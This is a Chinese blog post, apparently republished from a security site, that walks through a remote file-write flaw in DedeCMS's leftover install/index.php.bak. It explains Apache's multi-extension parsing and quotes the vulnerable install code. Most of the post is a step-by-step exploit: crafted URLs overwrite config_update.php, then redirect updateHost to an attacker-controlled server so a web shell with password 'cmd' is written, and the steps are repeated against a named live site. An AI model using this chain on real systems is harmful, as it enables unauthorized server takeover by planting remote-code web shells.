织梦远程写入漏洞Getshell (dedecms漏洞)

颓废 2019年5月19日10:26:42评论1,015 views字数 1749阅读5分49秒阅读模式
摘要

那么这样的话,像1.php.bak这样的文件名就会被当做php文件所解析。这也就是传说中的Apache解析漏洞。

漏洞根源

这个漏洞主要由两个原因引起的,其中最重要的一个原因,便是开发者没有认识到Apache服务器解析文件的流程,从而导致安装文件在安装后居然可以被继续访问。这里简单解释下Apache解析文件的流程:

当Apache检测到一个文件有多个扩展名时,如1.php.bak,会从右向左判断,直到有一个Apache认识的扩展名。如果所有的扩展名Apache都不认识,那么变会按照httpd.conf配置中所指定的方式展示这个问题,一般默认情况下是“text/plain”这种方式。

那么这样的话,像1.php.bak这样的文件名就会被当做php文件所解析。这也就是传说中的Apache解析漏洞。

自己搭了个dedecms-v5.7-sp1来测试
利用条件:首先,是目标站安装完cms后并没有删除install文件夹,漏洞文件为/install/index.php.bak 
织梦远程写入漏洞Getshell (dedecms漏洞)

标站点的Apache存在文件解析漏洞。即index.php.bak文件会被当做PHP脚本解析,代码如何

织梦远程写入漏洞Getshell (dedecms漏洞)

else if($step==11) {  require_once('../data/admin/config_update.php');  $rmurl = $updateHost."dedecms/demodata.{$s_lang}.txt";   $sql_content = file_get_contents($rmurl);  $fp = fopen($install_demo_name,'w');  if(fwrite($fp,$sql_content))   echo '  <font color="green">[√]</font> 存在(您可以选择安装进行体验)';  else   echo '  <font color="red">[×]</font> 远程获取失败';  unset($sql_content);  fclose($fp);  exit(); }

到此,,我们可以利用index.php.bak文件 step 11中的代码,来在服务器上写入任意文件!
由于远程要包含文件的服务器地址是通过 $updateHost 控制的,那我们首先利用代码来改写../data/admin/config_update.php这个文件,使我们可以自定义 $updateHost的值,那样就可以引用任何我们想要引用的文件啦!
利用方法:

随便找一个网站 新建个127.0.0.1/dedecms/demodata.a.txt

织梦远程写入漏洞Getshell (dedecms漏洞)

http://www.0dayhack.com/install/index.php.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=../data/admin/config_update.php

http://www.0dayhack.com/install/index.php.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=lx.php&updateHost=http://127.0.0.1/

即可生成http://www.0dayhack.com/install/lx.php    密码cmd

以下是实战:
临时利用:http://www.0dayhack.com/dedecms/demodata.a.txt
织梦远程写入漏洞Getshell (dedecms漏洞)

目标网站:http://www.0dayhack.com/

首先访问一下 : http://www.0dayhack.com/install/index.php.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=../data/admin/config_update.php
织梦远程写入漏洞Getshell (dedecms漏洞)

然后访问一下:http://www.0dayhack.com/install/index.php.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=lx.php&updateHost=http://www.0dayhack.com/

其中lx.php可以自定义
织梦远程写入漏洞Getshell (dedecms漏洞)

即可生成/install/lx.php

shell地址:http://www.0dayhack.com//install/lx.php
织梦远程写入漏洞Getshell (dedecms漏洞)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
颓废
  • 本文由 发表于 2019年5月19日10:26:42
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   织梦远程写入漏洞Getshell (dedecms漏洞)https://cn-sec.com/archives/68480.html

发表评论

匿名网友 填写信息